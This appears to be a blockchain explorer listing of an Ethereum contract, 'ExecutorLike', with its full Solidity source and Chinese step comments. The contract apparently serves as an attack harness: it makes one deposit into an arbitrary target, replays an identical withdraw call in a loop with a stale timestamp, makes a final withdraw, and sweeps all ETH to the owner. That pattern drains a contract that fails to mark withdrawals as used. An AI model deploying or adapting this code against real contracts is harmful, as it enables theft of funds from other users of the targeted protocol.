ExecutorLike

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

contract ExecutorLike {
    // ---------- constants ----------
    uint256 constant A = 11;
    uint256 constant B = 30;
    uint256 constant C = 75;

    // ---------- custom errors ----------
    error NotOwner();
    error EmptyCount();
    error CallFailed();

    // ---------- state ----------
    address payable public owner;
    constructor() {
        owner = payable(msg.sender);
    }

    modifier onlyOwner() {
        if (msg.sender != owner) revert NotOwner();
        _;
    }

    // 允许接收 ETH(关键!否则 target 往回转账会导致整个调用 revert)
    receive() external payable {}

    // 把 address 压成 uint256(与目标合约 withdraw 的第一个 uint 参数对齐)
    function _addrU(address a) internal pure returns (uint256) {
        return uint256(uint160(a));
    }

    // ========== tx1:单次 deposit ==========
    // 本次交易的 msg.value 直接转给 target.deposit(A,B,C)
    function execTx1(address target, bytes4 depositSelector)
        external
        payable
        onlyOwner
    {
        (bool ok, ) = target.call{value: msg.value}(
            abi.encodeWithSelector(depositSelector, A, B, C)
        );
        if (!ok) revert CallFailed();
    }

    // ========== 提取全部 ETH ==========
    function sweepETH() external onlyOwner {
        (bool ok, ) = owner.call{value: address(this).balance}("");
        if (!ok) revert CallFailed();
    }

    // ========== tx2:循环 withdraw -> deposit -> 最后一次 withdraw ==========
    // withdraw 的 user = address(this)
    // 第二次 deposit 的金额 = 本次 msg.value
    function multicallAndFinalize(
        address target,
        uint256 count,
        bytes4 withdrawSelector,
        bytes4 depositSelector,
        uint256 firstTxTime
    )
        external
        payable
        onlyOwner
    {
        if (count == 0) revert EmptyCount();

        uint256 userU = _addrU(address(this));

        // step1: 循环 withdraw(相同参数)
        bytes memory cdW = abi.encodeWithSelector(
            withdrawSelector,
            userU, A, B, C,
            firstTxTime, firstTxTime
        );
        for (uint256 i = 0; i < count; ) {
            (bool ok, ) = target.call(cdW);
            if (!ok) revert CallFailed();
            unchecked { ++i; }
        }

        // step2: 再次 deposit(金额 = msg.value)
        if (msg.value > 0) {
            (bool ok2, ) = target.call{value: msg.value}(
                abi.encodeWithSelector(depositSelector, A, B, C)
            );
            if (!ok2) revert CallFailed();
        }

        // step3: 最后一次 withdraw(时间戳 = 当前块时间)
        uint256 t = block.timestamp;
        bytes memory cdW2 = abi.encodeWithSelector(
            withdrawSelector,
            userU, A, B, C,
            t, t
        );
        (bool ok3, ) = target.call(cdW2);
        if (!ok3) revert CallFailed();

        // 可选扫尾
        uint256 bal = address(this).balance;
        if (bal != 0) {
            (bool ok4, ) = owner.call{value: bal}("");
            if (!ok4) revert CallFailed();
        }
    }
}

Tags:
addr:0x99cf8f86d02737643f24b004d6c2177af2414cce|verified:true|block:23540315|tx:0x3dc68ea59a1e43b32d5afde3ed2ace7252657b9806d0722cc255a4369141f2e2|first_check:1760018172

Submitted on: 2025-10-09 15:56:13

Comments

Log in to comment.

No comments yet.